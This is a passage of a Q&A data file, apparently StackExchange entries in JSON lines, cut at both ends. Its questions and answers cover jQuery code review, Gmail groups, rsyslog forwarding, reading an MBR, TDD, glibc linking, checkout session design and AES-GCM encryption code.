td:nth-child(10)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }    }});    $('table.masteries tr.p20 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if ($(this).is($(':nth-child(2)'))) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if ($(this).is($(':nth-child(6)'))) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if ($(this).is($(':nth-child(10)'))) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }    }});    });"  , "title": "Generator and calculator for League of Legends content"  , "tags": "javascript;jquery"  , "accepted_answer": "A primer for people unfamiliar with League of LegendsThis should have been included in OP, but it wasn't. I'll describe the Mastery system here.League of Legends has a customisable component known as a a collective Mastery Tree. This shares aspects with skill trees or talent trees from other games; it's a hierarchical arrangement of Masteries. Masteries come in three flavours, or trees: Offense, Defense, and Utility, represented by total_off, total_def, and total_utl in OP's code. Players can spend up to 30 total points, and different masteries have different limits on how many points may be spent on them. For example, the Phasewalker mastery has a cap of one point, while a player can spend up to 4 points in the Fury mastery.  In addition to being split up by category, masteries are also separated by depth. Each tree is arranged in six rows. In order to be able to spend points in lower rows, a certain number of points must have been spent in earlier rows in the same tree.An example of what OP is trying to create can be found here.You've mixed together the trees. This is silly. There's no point in putting Offense masteries together with Utility masteries. Create three separate tables: one for Offense, one for Defense, and one for Utility. By doing so, you'll save yourself from all the pointless if ($(this).is($(:nth-child(1))) || ... checking.Javascript uses camelCase. I'd rename your variables to maxPoints, etc.CSS should not be set with attr(). Setting CSS with attr is just about the worst way to do it, unless you know what you're doing. This will overwrite all other style changes. Instead, use .css(background-image, url:(...)).There's no point in modifying each td individually. table.masteries tr.p0 has exactly 12 children, so you can just use $(table.masteries tr.p0 td). (If for some reason you needed to only select those twelve, then you could use $(... td:nth-child(n + 1):not(:nth-child(n + 13))), but I'm certain that's not the case here.)Here's my rewrite of lines 8 through 31:$(table.masteries tr.p0 td).css(background-image, url('assets/masteries/mastery0.png'));Don't create properties in DOM objects to save data. Instead of using this.i, try something like $(this).data(i). Better yet, make a meaningful name, like $(this).data(pointsSpent).Avoid polluting global scope. Declare local variables with var s before using them.Store jQuery objects instead of continuously creating them. Constructing jQuery objects is not free. Instead, save it with a local variable using var $this = $(this) for later use.Use semicolons consistently. Either use them or omit them. Don't use them in some places and omit them in others.Don't assume console is available. It won't be in IE unless DevTools is open, so avoid using it unless you put var console = console || { log: function(){}, ... }; somewhere in your code.Personally, I think giving rows classes according to their index is pointless; you could just use a :nth-child() selector instead.You aren't using .is() right. Use a selector without constructing a jQuery object: $(this).is(:nth-child(1)).Your way of finding the max points to spend on a mastery is a nightmare to maintain. Rather than scanning some child <p> element, just specify the data on the cell: <td data-maxPoints=4>Fury</td>, or similar.Instead of spent_points = spent_points + 1, you could be doing spent_points++.You are repeating a lot of code that could otherwise be put into a common function.Rather than hard-coding the number of required points, store them in an array or calculate them:var pointsRequiredByRow = [0, 4, 8, 12, 16, 20];// or just notice that points required = row * 4, where row is zero-basedYou have a ton to fix. I've listed some things for you to get started on, but a comprehensive review would be way too long. I suggest making some changes and then asking a follow-up question with your revised code."  } 
{  "id": "_webapps.47402"  , "question": "Isn't there anywhere an option to disable this behavior?Even gmail doesn't activate your status (when you are idle) as soon as you just click on gmail tab!It's a very bad behavior that trello shows everyone that you are online even when just you want to view the page!Wish there was a solution for this terrible behavior of Trello."  , "title": "Trello shows me online when I just click on its tab (not bringing the mouse in)"  , "tags": "trello"  , "accepted_answer": "I really don't see the issue here. If you open the tab, it should be assumed that you are active on it, even if it was for a second. If you don't want people to know you are on then don't open the tab yet."  } 
{  "id": "_webmaster.97071"  , "question": "I have an 'internal' website at my company that i'd like to allow outside access to via a reverse proxy with an Apache Server.The wrinkle here is that I only want particular Mobile Users accessing this reverse proxy.I've created a very generic mobile app that will ALWAYS pass a cookie like MOBILEUSER=TRUE.Is it possible to write a mod_rewrite rule to check for the existence of that cookie and ONLY allow requests with that cookie and value through?thanks for any help!!"  , "title": "Using mod_rewrite to check for existence of a cookie"  , "tags": "mod rewrite;reverse proxy"  } 
{  "id": "_cs.57911"  , "question": "I was reading hashing from CLRS. In it author says:Let $\\mathscr{H}$ be a finite collection of hash functions that map a given universe $U$ of keys into the range ${0,1,...,m-1}$. Such a collection is said to be universal if for each pair of distinct keys $k,l\\in U$, the number of hash functions $h\\in\\mathscr{H}$ for which $h(k)= h(l)$ is at most $|\\mathscr{H}|/m$. So basically in universal set of hash functions, the number of hash functions a finite collection of hash functions is said to be universal if number of hash functions $h$ for which $h(k)=h(l)$ is at most $\\frac{\\text{number of hash functions}}{\\text{size of hash table}}=\\frac{|\\mathscr{H}|}{m}$However next the author says:In other words, with a hash function randomly chosen from $\\mathscr{H}$, the chance of a collision between distinct keys $k$ and $l$ is no more than the chance $1/m$ of a collision if $h(k)$ and $h(l)$ were randomly and independently chosen from the set $\\{0,1,...,m-1\\}$.I didnt get the last part $h(k)$ and $h(l)$ were randomly and independently chosen from the set $\\{0,1,...,m-1\\}$. How $|\\mathscr{H}|=$[$h(k)$ and $h(l)$ were randomly and independently chosen from the set $\\{0,1,...,m-1\\}$] "  , "title": "Constraint on Universal set of hash functions"  , "tags": "hash;hash tables;hashing"  } 
{  "id": "_webapps.43849"  , "question": "I have three gmail groups A, B and C,  each with say ten members. Now I want create another bigger gmail group, say, BIG containing all the members of A, B, and C.I tried simply clicking on the plus button and writing the names A, B and C. It did not work. Please tell me whether it is possible to add a gmail group to another gmail group in some way, or I should not bother?Do we have  only the exhaustive way of individually adding all those thirty plus names to BIG?"  , "title": "Can I Create a Bigger Gmail Group from Several (Smaller) Gmail Groups?"  , "tags": "gmail;google contacts"  , "accepted_answer": "You cannot add a Google Contacts group to another group directly.  Groups do not nest (kind of like how Gmail labels do not nest if you have not activated nesting in Labs).  However, we don't need to add users to BIG one-by-one either.  You have a couple options, actually.The Easy WayThe most direct, and probably easiest for most circumstances, is to batch add users from A to BIG, then from B to BIG, then from C to BIG (etc.).  I assume you already have A, B, and C, so now create BIG.  Now go to A.  Click the Select All checkbox to select every contact in Group A.  Then, click the Groups menu (the drop-down menu with a three-person icon) and click the open checkbox next to the BIG group.  This will add everyone from A to BIG.Removing contacts from lists can be done on a one-by-one or group-by-group basis (or any combination thereof).Something More ElaborateUPDATE: Google no longer permits nested groups. No workaround at this time. My original notes still included here for reference purposes, and in the hopes that we find a workaround. Made my answer a wiki to facilitate other solutions!Hang on! you say.  (I don't know, what do you usually say?  It's a one-sided conversation right now, I get to put words in your mouth.  Here come some more:) This easy way works for simple lists, but what if things get complicated?  What if Jane Test is leaving Group B.  Normally, this would mean that I remove her from BIG also.  But I have lots of contacts and groups; Maybe Jane should still be in BIG because she is a member of Group C also. Or, what if I forget about this issue and don't check Jane's contact card for other groups when editing it, and then take her out of BIG mistakenly?Now I think you're being picky, but there is a solution for this too. Instead of using Google Contacts for these more complex contact/group and group/group relationships, create some private Google Groups for A, B, C, and BIG.  Unlike Contacts groups, Groups groups (is that a thing?) can include other Groups groups.  (See: http://support.google.com/a/bin/answer.py?hl=en&answer=167100)  Look, we're just going to call those Groups now.  You can email everyone in a Google Group by setting their member preferences (for that Group) to receive all posts by email, and then by emailing a post to the group.  Every member of the group gets the email.That way, if Jane is in Groups B and C; and Groups A, B, and C are members of Group BIG; then when you remove Jane from Group B she will retain her membership in Group BIG in virtue of her membership in Group C.  So, you don't have to check and you are less likely to mistakenly remove Jane from BIG."  } 
{  "id": "_webapps.25525"  , "question": "I would like to embed a Google spreadsheet directly into my email, so that it reflects the document changes. How do I do that?"  , "title": "How to reference Google spreadsheet inside your mail message?"  , "tags": "gmail;google spreadsheets"  } 
{  "id": "_vi.9648"  , "question": "File BATMAN:-2-3-4-6-8-10-11-13-14-16-17-18-19-20-21-25-29-30-33-35-36-37-43-44-45-47-48-49-50-51-52-54-55-56-57-58-59-60-61-62-63-64-65-66-68-69-70-71-73-74-75-76-81-82-83-85-86-87-88-89-90-91-92-94-95-96-97-98-99-101-102-103-104-108-110-111-112-113-114-115-116-117-128-129-130-131-132-133-134-135-136-137-147-148-149-150-151-154-155-156-157-158-159-160-161-162-163-164-165-166-167-168-171-173-174-175-177-180-184-185-186-187-188-189-190-191File ROBIN:-2-3-4-6-7-8-11-16-17-18-20-21-29-30-33-34-35-36-37-44-48-49-51-52-55-56-57-58-61-65-66-67-69-70-71-74-75-76-80-81-82-83-86-90-91-92-95-97-98-100-101-103-104-119-120-121-122-123-124-125-127-129-131-132-133-134-136-138-139-140-141-142-143-144-150-156-157-158-161-163-164-165-166-167-172-173-175-179-184-186-189-191File LOCUTOR:-4-147I work in a translation company , and need to count the time that the actor speaks, and insert the count into the current file.In my vimrc file I created this function:fun! Abb()    exe :s/-//gnendfuncHow do I insert the number of word count manually. Thanks for your help"  , "title": "Vim Word count and insert into current text"  , "tags": "vimscript;count"  , "accepted_answer": "Assuming for each actor, you only have a single line with the many hyphens and your cursor is on a line with the many hyphens, you can do it like this:call append('.', Count: .len(split(getline('.'),'-')))Of course you can now wrap it into a function, find the next line with hyphens in it, if the cursor is not on it or add some error management. That is left as an excercise to the reader :)"  } 
{  "id": "_cogsci.3150"  , "question": "Background Information of my questions:At the age of eight I was diagnosed with Dyslexia, I am now 47. I went from not being able to read and barely able to write to a college reading level in 9 months. I was in a program run by a Mrs. Cooper in Pennsylvania. I have taken several different IQ tests during my lifetime and found the results vary widely. I have noted that in the last ten years or so Dyslexia seems to be an almost antiquated diagnosis and am very curious about the definition of dyslexia in current science and the correlation, if any, between Dyslexia and intelligence.Questions:Is there any specific IQ test that is directed at measuring the IQ's of people with dyslexia? What is the correlation between having dyslexia and IQ?"  , "title": "Dyslexia and IQ"  , "tags": "learning;measurement;intelligence;reading;iq"  } 
{  "id": "_cogsci.1617"  , "question": "Recently, Joseph Henrich of UBC has been promoting his cultural brain hypothesis. The goal is to explain a selection pressure behind the development of the human brain and general intelligence. The basic premise is that our brains evolved to be better and better at accurately replicating cultural information (or memes) between generations. A secondary part of his hypothesis is that there was a tight co-evolution between culture and the genes that shape us.This seems contrary to the more orthodox thinking of that genes shaped the base of humans largely without large-scale culture (when we were small hunter-gatherer tribes and thus culture was minimal), and then recently (on an evolutionary time scale) large-scale culture 'turned on' and there has not been a sufficient time for this to produce large genetic differences. In simplest terms, the co-evolution was minimal and instead we should think of the key players being gene evolution followed by cultural evolution (on different timescales).To confuse things further, some scientists (like Satoshi Kanazawa of LSE) view most of what we associated with the 'perks' of human brain (such as general intelligence) as mal-adaptive on the individual level. Thus there seems to be a large distinction between the 3 general threads, which raises the question:What is the key evidence for the cultural brain hypothesis and gene-culture co-evolution?The only evidence I know of potential recent co-evolution of culture and genes is Dediu & Ladd's (2007) suggestion that the split between tonal and atonal languages is related to a recent (~6k years ago) mutation in the ASPM gene. Is there other evidence of recent co-evolution between genes and large-scale culture?Related questionsDo atonal languages have a tonal ancestor?Is religiousness a genetically heritable feature?"  , "title": "Cultural brain hypothesis and gene-culture co-evolution"  , "tags": "intelligence;evolution;philosophy of mind"  } 
{  "id": "_unix.257650"  , "question": "How to count how many files belong to each user/group combination? I need to do this for each user/group combination that exists, in each of the directory trees /etc, /usr, and /var."  , "title": "How to count how many files belong to each user/group combination?"  , "tags": "files;scripting;users;group"  } 
{  "id": "_unix.48970"  , "question": "I'd like to test auto-vote protection on my site (not published yet).I've found Expect program, but I can't get it working with telnet http."  , "title": "How to create auto vote script using `expect`?"  , "tags": "expect"  , "accepted_answer": "I'd use the curl command line tool to do this. I'm presuming that you have a form submission, in which a field vote can choose A, B, or C, for example:curl -F vote=A http://example.com/submitvote/or, if there were a name field to go with it, for example:curl -F vote=C -F name=my name http://example.com/submitvote/"  } 
{  "id": "_webapps.28034"  , "question": "Possible Duplicate:Search for multiple unrelated words in Google Search I've noticed recently that Google force-feeds me certain results even if I explicitly demand that a particular keyword be included.  For example, searching for:None of the returned results include the word awful, though I was under the impression that + forces the word to appear in the results.  Has this feature been deprecated by Google?  If not, is there a way to perform a search that must include certain keywords?(P.S.  I sincerely apologize to fans of this comedian. I just had no examples handy that did not include him.)"  , "title": "How to force Google to use a keyword?"  , "tags": "google search"  , "accepted_answer": "The plus sign no longer works in Google searches.Use quotes to search for an exact word."  } 
{  "id": "_codereview.106679"  , "question": "I have a list of patients, Patient class has Prescriptions property, which is a list of Prescription objects. Prescription has 3 important attributes, Medicament,Amount and Type(which is basically a key for joining).I need to join a list of Prescription types, as a prescription type has an attribute Influence which servers as multiplier for the amount.var prescriptions = (from prs in                         (from p in patients                             from pr in p.Prescriptions                             join type in DatabaseService.PrescriptionTypes                                 on pr.Type equals type.Value                         select new { Med = pr.Medicament,Amount = pr.Amount * (int)type.Influence })                    group prs by prs.Med into prgs                    select new { Medicament = prgs.Key,Amount = prgs.Sum(prg => prg.Amount) }).ToList();Basically what I do (from inner to outer queries)Join prescriptions with prescription types, get Medicament and the multiplied AmountGroup the records by the MedicamentRun one more select to get the overall sum from all patientsIs there any simpler way?EDIT:So I realised couple things and simplified the query quite a bit, I think it's much more readable now. The things I missed the first time were:SelectMany that lets me get rid of the outter select, since prescriptions are all I care aboutBeing able to create new objects within group statement, hence one more select can be avoidedThe new code looks like    var prescriptions = from p in patients.SelectMany(p => p.Prescriptions)                        join type in DatabaseService.PrescriptionTypes                            on p.Type equals type.Value                        group new { Amount = p.Amount * (int)type.Influence } by p.Medicament into prs                        select new { Medicament = prs.Key,Amount = prs.Sum(pr => pr.Amount) };With that I'm pretty happy and I doubt you can simplify it anymore."  , "title": "Sum data that needs to be joined and grouped by"  , "tags": "c#;linq"  } 
{  "id": "_unix.280697"  , "question": "I'm debugging a strange issue with a logging SaaS solution. We appear to be duplicating logs sent to the SaaS. Logs are sent via an rsyslog forwarder over TLS. I'm trying to see if I can reproduce the issue by running a remote rsyslog server and forwarding a since instance's logs to that server to monitor. Let's call the server where logs originate guineapig and the remote rsyslog server watcher. watcher is configured to listen on UDP port 514 using configuration like this:$ModLoad imudp.so$UDPServerRun 514$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat# log everything to the /var/log/remotesyslog file*.*    /var/log/remotesyslog guineapig is configured to forward everything to watcher using its IP address:$ModLoad imuxsock$ModLoad imjournal$ModLoad imudp.so$UDPServerRun 514$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat$IncludeConfig /etc/rsyslog.d/*.conf$IMJournalStateFile imjournal.stateauthpriv.*                                              /var/log/securemail.*                                                  -/var/log/maillogcron.*                                                  /var/log/cron*.emerg                                                 *uucp,news.crit                                          /var/log/spoolerlocal7.*                                            /var/log/boot.logInside /etc/rsyslog.d/22-remote-rsyslog.conf on guineapig:# forward everything over UDP to watcher*.* @@10.0.1.1:514Unfortunately, when I then restart the SystemD rsyslog service and attempt to trigger a log message on guineapig, I don't see it appear in the file on watcher:user@guineapig ~$ logger please work# doesn't workHowever, if I directly tell logger where to go, the log line shows up:user@guineapig ~$ logger -n 10.0.1.1 please work for real# worksI'm having a very difficult time trudging through rsyslog's documentation, but for some reason my logs aren't getting forwarded properly to watcher. Is there an obvious issue in my configuration on guineapig? Both systems are on CentOS 7."  , "title": "rsyslog not forwarding messages to remote rsyslog server"  , "tags": "centos;rsyslog"  } 
{  "id": "_unix.4649"  , "question": "Possible Duplicate:NIS and autofs error I have one server and one client machine.In Server, I have configured NIS, and /home/guest/nis1 is shared through NFS. Both NFS and NIS are configured in same server.In client, I have configured autofs to export home directory of NIS user. When I try to login in client from nis1 username then I got the following error message.Could not chdir to home directory /home/guest/nis1: Permission denied-bash: /home/guest/nis1/.bash_profile: Permission denied-bash-3.1$How Can i troubleshot??"  , "title": "Problem with NIS"  , "tags": "administration;nis"  } 
{  "id": "_scicomp.23177"  , "question": "I am looking for an algorithm to search a substring in a string.  I know there are a number of wellknown Algorithms like Knuth-Morris-Pratt, for instance, and I suppose most preimplemented  functions use one of those. However, I remember a lecture, long ago, where the lecturer said that the usefullness of such an algorithm depends partly on the size of the alphabet. KMP and BMH obviously work fine on an ordinary 26-letter alphabet. But what do I do if I have a much smaller alphabet (say, DNA: 4 letters or simply a binary)?Are there an particular algorithms that work well on very small alphabets? I googled and supposed I should easily find something as searching through DNA is rather common, but to no avail. Any help?Please do not downvote, this is my first question in this subcommunity, I do not know yet what is considered too basic here and what is ok."  , "title": "String search algorithm on small alphabet"  , "tags": "algorithms"  } 
{  "id": "_softwareengineering.109187"  , "question": "Recently I found that Netscape used quite simple algorithm to generate random number for Message Authentication Code to establish an HTTPS connection (Nestscpe used time, process identification number, and parent-process identification number). So now I wonder what source of seed do modern browsers use to guarantee true randomness?"  , "title": "Random number for HTTPS MAC"  , "tags": "browser;encryption;random;https"  } 
{  "id": "_webmaster.48828"  , "question": "I am currently developing my record label's website and I'm sure I need a page on there about what information I will collect.The website has no log ins or any interaction from the user apart from clicking page to page. I still need a privacy policy page on here though don't I as I will log statistics using various tools?"  , "title": "What do I need to write for a privacy policy page on my website?"  , "tags": "terms of use;privacy policy;problem"  } 
{  "id": "_unix.170694"  , "question": "I'm trying to map the shown with sudo fdisk -l and what is written in the MBR. However they seem to differ.What fdisk shows:   Device Boot      Start         End      Blocks   Id  System/dev/sda1   *        2048   490612735   245305344   83  Linux/dev/sda2       490614782   976771071   243078145    5  Extended/dev/sda5       968929280   976771071     3920896   82  Linux swap / Solaris/dev/sda6       490614784   968929279   239157248   83  LinuxWhat partition table in the MBR says:00001be: 8020 2100 83fe ffff 0008 0000 0020 3e1d  . !.......... >.00001ce: 00fe ffff 05fe ffff fe2f 3e1d 0228 fa1c  ........./>..(..00001de: 0000 0000 0000 0000 0000 0000 0000 0000  ................00001ee: 0000 0000 0000 0000 0000 0000 0000 0000  ................The steps for getting the MBR were:sudo dd if=/dev/sda of=~/mbr.file bs=512 count=1 Getting the first 512 bytes.xxd -s 446 -l 64 mbr.file Print just the partition tables."  , "title": "MBR not corresponding to fdisk -l?"  , "tags": "partition;fdisk;mbr"  } 
{  "id": "_unix.48711"  , "question": "When I run the command:awk '/from/ {print $7} /to/ { print $7}' erroMuitoDoido.txtThe file is:May 19 04:44:43 server postfix/smtpd[32595]: CDAB515013: client=servidor.dominio.com.br[10.10.10.44]May 19 04:44:43 server postfix/cleanup[18651]: CDAB515013: message-id=<20120519074443.CDAB515013@servidor2.dominio.com.br>May 19 04:44:43 server postfix/qmgr[16684]: CDAB515013: from=atendimento@dominio.com.br, size=19590, nrcpt=1 (queue active)May 19 04:44:50 server postfix/pipe[32596]: CDAB515013: to=userdestino@dominiodestino.com.br, relay=dovecot, delay=6.2, delays=0.02/6/0/0.14, dsn=2.0.0, status=sent (delivered via dovecot service)May 19 04:44:50 server postfix/qmgr[16684]: CDAB515013: removedThe output is:from=atendimento@dominio.com.br,from=atendimento@dominio.com.br,to=userdestino@dominiodestino.com.br,The problem is that the line from=atendimento@dominio.com.br, occurs twice! How can I fix this?AWK version: GNU Awk 4.0.0OS: Debian 6, OpenSuse 12.1, CentOS 6.2"  , "title": "Why does awk execute both actions?"  , "tags": "awk"  } 
{  "id": "_unix.361813"  , "question": "Im having an issue where rsyslog and other services will freeze when rsyslog can no longer write logs. Once I restart rsyslog, everything comes back up and works. I believe this is because the loq que has filled up and can no longer be written to. The main service affected is jabber. Im trying to find a way to tell rsyslog to destroy the logs in memory if it gets full and can no longer write. So far im unable to get this down. Any ideas? "  , "title": "Setting rsyslog to emtpy que when it is unable to write"  , "tags": "rsyslog;rsyslogd"  } 
{  "id": "_unix.42660"  , "question": "I want to know whether it is possible to gunzip multiple files and rename them with one command/script.I have a bunch of files in the format:test.20120708191601.DAT.3599502593.gztest.20120708201601.DAT.99932140.gztest.20120708204600.DAT.1184686967.gztest.20120708212100.DAT.824089664.gztest.20120708215100.DAT.1286044098.gztest.20120708222100.DAT.1414234861.gzI need to gunzip them and remove everything after the .DAT, to be in the format:test.20120708191601.DATtest.20120708201601.DATtest.20120708204600.DATtest.20120708212100.DATtest.20120708215100.DATtest.20120708222100.DAT"  , "title": "Gunzip multiple files and rename them"  , "tags": "rename;gzip"  , "accepted_answer": "Try this:for file in *.gz; do  gunzip -c $file > ${file/.DAT*/.DAT}doneThe approach uses gunzip's option to output the uncompressed stream to standard output (-c), so we can redirect it to another file, without a second renaming call. The renaming is done on the filename variable itself, using bash substitution (match any globbing pattern .DAT* and replace it with .DAT). The loop itself just iterates over files in the current directory with names ending with .gz."  } 
{  "id": "_softwareengineering.21463"  , "question": "When doing TDD and writing a unit test, how does one resist the urge to cheat when writing the first iteration of implementation code that you're testing?For example:Let's I need to calculate the Factorial of a number.  I start with a unit test (using MSTest) something like:[TestClass]public class CalculateFactorialTests{    [TestMethod]    public void CalculateFactorial_5_input_returns_120()    {        // Arrange        var myMath = new MyMath();        // Act        long output = myMath.CalculateFactorial(5);        // Assert        Assert.AreEqual(120, output);    }}I run this code, and it fails since the CalculateFactorial method doesn't even exist.  So, I now write the first iteration of the code to implement the method under test, writing the minimum code required to pass the test.  The thing is, I'm continually tempted to write the following:public class MyMath{    public long CalculateFactorial(long input)    {        return 120;    }}This is, technically, correct in that it really is the minimum code required to make that specific test pass (go green), although it's clearly a cheat since it really doesn't even attempt to perform the function of calculating a factorial.  Of course, now the refactoring part becomes an exercise in writing the correct functionality rather than a true refactoring of the implementation.  Obviously, adding additional tests with different parameters will fail and force a refactoring, but you have to start with that one test.So, my question is, how do you get that balance between writing the minimum code to pass the test whilst still keeping it functional and in the spirit of what you're actually trying to achieve?"  , "title": "Writing the minimum code to pass a unit test - without cheating!"  , "tags": "unit testing;tdd"  , "accepted_answer": "It's perfectly legit.  Red, Green, Refactor.The first test passes.  Add the second test, with a new input.  Now quickly get to green, you could add an if-else, which works fine.  It passes, but you are not done yet.The third part of Red, Green, Refactor is the most important.  Refactor to remove duplication.  You WILL have duplication in your code now.  Two statements returning integers.  And the only way to remove that duplication is to code the function correctly.I'm not saying don't write it correctly the first time.  I'm just saying it's not cheating if you don't."  } 
{  "id": "_unix.363917"  , "question": "I want to run programs made as student assignments in an SELinux sandbox (to check output and behaviour as a first part of grading the assignments without having to check very closely if some students are trying to do anything fun first).Most of the assignments should only read their input and produce output. Some might read files on the system. Then I only want it to be able to read world readable files on the system.Just sandbox assignment.py works fine in some respects, where sandbox is from policycoreutils-python in SElinux sandbox in CentOS 7. Then assignment.py can't write files, access the net, and some other bad things. But it can still read my files.Actually it can read local files, but not NFS mounted files. With sandbox -t sandbox_min_t I can access NFS mounted files as well (which I want), but the problem is still that the tested program has access to all my files. How can I tell it to only have access to world readable files, or to files only readable by a named user?(I'm open to using another sandbox available on CentOS, if it's easier to achieve this in some other sandbox.)(I'd prefer not having to make a new user account just for testing programs. I would prefer not, partly because this might be needed for several teachers/assistants and I want accounts to be personal, and not the user name space being cluttered with lots of these.)"  , "title": "How to access only world readable files in SElinux sandbox"  , "tags": "linux;security;selinux;account restrictions;sandbox"  } 
{  "id": "_cs.21649"  , "question": "What is the correct way?Hamilton path, Hamilton's path or Hamiltonian path?To be clear, I am referring to the correct way to name a graph such that there exists a single path (without repeated vertices) through all the vertices.In Wikipedia it says Hamiltonian path, whereas in an article I found Hamilton path."  , "title": "Correct nomenclature: Hamilton path, Hamilton's path or Hamiltonian path?"  , "tags": "hamiltonian path"  , "accepted_answer": "I have seen both Hamilton path (or Hamilton cycle) and Hamiltonian path (or Hamiltonian cycle). A graph, however, is always Hamiltonian (if it contains a Hamilton/Hamiltonian cycle). Consider for example the titles of two papers: Hamiltonian cycles in random regular graphs (Fenner & Frieze) and Generating and counting Hamilton cycles in random regular graphs (Frieze, Jerrum, Molloy, Robinson & Wormald). Alan Frieze apparently doesn't care too strongly about the issue.However, I've never seen Hamilton's path or cycle."  } 
{  "id": "_unix.336746"  , "question": "When attempting to compile and run a program using a non-standard version of gcc in a non-standard location, I get errors which I have found are due to the system version of libc (specifically some headers) being incompatible with the newer version of gcc:In file included from /usr/modules/gcc/6.1.0/include/c++/6.1.0/bits/localefwd.h:40:0,                 from /usr/modules/gcc/6.1.0/include/c++/6.1.0/ios:41,                 from /usr/modules/gcc/6.1.0/include/c++/6.1.0/ostream:38,                 from /usr/modules/gcc/6.1.0/include/c++/6.1.0/iostream:39,                 from test.cpp:1:/usr/modules/gcc/6.1.0/include/c++/6.1.0/x86_64-pc-linux-gnu/bits/c++locale.h:52:23: error: 'uselocale' was not declared in this scope   extern C __typeof(uselocale) __uselocale;                       ^~~~~~~~~/usr/modules/gcc/6.1.0/include/c++/6.1.0/x86_64-pc-linux-gnu/bits/c++locale.h: In function 'int std::__convert_from_v(__locale_struct* const&, char*, int, const char*, ...)':/usr/modules/gcc/6.1.0/include/c++/6.1.0/x86_64-pc-linux-gnu/bits/c++locale.h:75:53: error: '__gnu_cxx::__uselocale' cannot be used as a function     __c_locale __old = __gnu_cxx::__uselocale(__cloc);                                                     ^/usr/modules/gcc/6.1.0/include/c++/6.1.0/x86_64-pc-linux-gnu/bits/c++locale.h:100:33: error: '__gnu_cxx::__uselocale' cannot be used as a function     __gnu_cxx::__uselocale(__old);So I built a newer version of libc in a non-standard location. Then I can build a program linking to the new glibc and including it's headers using the following,    g++ -L${HOME}/glibc/lib64 \\        -I${HOME}/glibc/usr/include \\        -Wl, -rpath=${HOME}/glibc/lib64 \\        -Wl,--dynamic-linker=${HOME}/glibc/lib64/ld-2.20.so \\        test.cpp Which works, but then running the program, I get the following error:Inconsistency detected by ld.so: get-dynamic-info.h: 134: elf_get_dynamic_info: Assertion `info[15] == ((void *)0)' failed!I can instead just include the new headers and compilation works and the program seams to run fine:g++ -I${HOME}/glibc/usr/include test.cppBut could doing so cause any side effects or undefined behavior since I am including headers from a new version of glibc and linking to an older version?  test.cpp :#include <iostream>using namespace std;int main() {    std::cout << hello world\\n;}Anyone know how I can best solve this problem? By the way, I am working on a machine where I don't have root privileges.  "  , "title": "Trouble compiling and running programs with g++ and libc in non-standard locations"  , "tags": "gcc;glibc"  } 
{  "id": "_softwareengineering.263947"  , "question": "I am currently working on a ecommerce system that is slightly different in structure to a typical ecommerce system in that you have multiple stores, accessing the same database from different URLs.So for example i might have:http://www.site1.comhttp://www.site2.comthe above are essentially the same store, they point to the same database, in the main will share the same products (this may seem weird but these are the requirements of the client).  The only difference is, based on the URL the users, baskets, orders etc are split so that they do not cross each other. I.e. the orders/baskets/users of site1 are not visible to site2 so a pretty standard single database multitenant model.The above is implemented, i am just slightly stuck on how to implement the checkout process.  The requirement is to have a shared checkout, so instead of:https://www.site1.com/checkoutyou would have (for clarity this will link to the same database as the above sites)https://checkout.somesite.com/storeid/basketidYou could tie this in to the way it is handled at Shopify, multiple stores one checkout process.  The checkout process in the main is not difficult, i can use the storeId and basketId to identify what i need to identify in terms of create an order from a basket and assigning to a store if the user is a guest.  The issue i am facing is what to do when an existing user wants to checkout and login so that the order is associated to their account and some basic information (Email Address, Billing Address) is pre-populated for them.The checkout process (https://checkout.somesite.com/storeid/basketid) does not concern itself with logins or account management of any sort, its just there to facilitate checkout so users, if they are at the beginning of the checkout process and wish to login will be redirected back to the corresponding sites login page.  From there i am thinking about this process, but just wanted to share it to see if there is something glaringly wrong with it:User Logs in with correct credentialsSome object (may be the Cart or an intermediary CartOrder object) is updated to contain the id of the user, a unique session key (possibly a GUID) and a timestamp to state the expiry of the checkout session User is redirected back to the checkout site with the session id appended in the querystring (i can't use cookies as the sites are on different domains)Option: At this point i may create a local session to hold onto the value for the remainder of the checkout process making sure it is still valid along the way (a new login would also expire the session key)Checkout!Now there is a slight concern in that placing the session id in the query string it could be picked up by some malicious person, used and some information (name, address) could be visible. On the flip side to that, the checkout will be all SSL, the sessions are short lived and not really able to spoof accounts (or do anything on behalf of the account it represents) so i am not sure if it is being over thought in this process?"  , "title": "Design for a shared checkout"  , "tags": "design;e commerce;multitenancy"  } 
{  "id": "_codereview.13714"  , "question": "The following is a symmetric encryption/decryption routine using AES in GCM mode. This code operates in the application layer, and is meant to receive user specific and confidential information and encrypt it, after which it is stored in a separate database server. It also is called upon to decrypt encrypted information from the database. I am looking for a review of the code with respect to its level of security, which in this case refers primarily to the correct implementation of the class called AuthenticatedAesCng found here:http://clrsecurity.codeplex.com/ My encryption/decryption routines are based on the code found here:source 1Any comments or advice is very much appreciated.Here is the code: class encryptionHelper{    // Do not change.    private static int IV_LENGTH = 12;    private static int TAG_LENGTH = 16;    // EncryptString - encrypts a string    // Pre: passed a non-empty string    // Post: returns the encrypted string in the format [IV]-[TAG]-[DATA]    public static string EncryptString(string str)    {        if (String.IsNullOrEmpty(str))        {            throw new ArgumentNullException(encryption string invalid);        }        using (AuthenticatedAesCng aes = new AuthenticatedAesCng())        {            byte[] message = Encoding.UTF8.GetBytes(str);                   // Convert to bytes.            aes.Key = getEncryptionKey();                                   // Retrieve Key.            aes.IV = generateIV();                                          // Generate nonce.            aes.CngMode = CngChainingMode.Gcm;                              // Set Cryptographic Mode.            aes.AuthenticatedData = getAdditionalAuthenticationData();      // Set Authentication Data.            using (MemoryStream ms = new MemoryStream())            {                using (IAuthenticatedCryptoTransform encryptor = aes.CreateAuthenticatedEncryptor())                {                    using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))                    {                           // Write through and 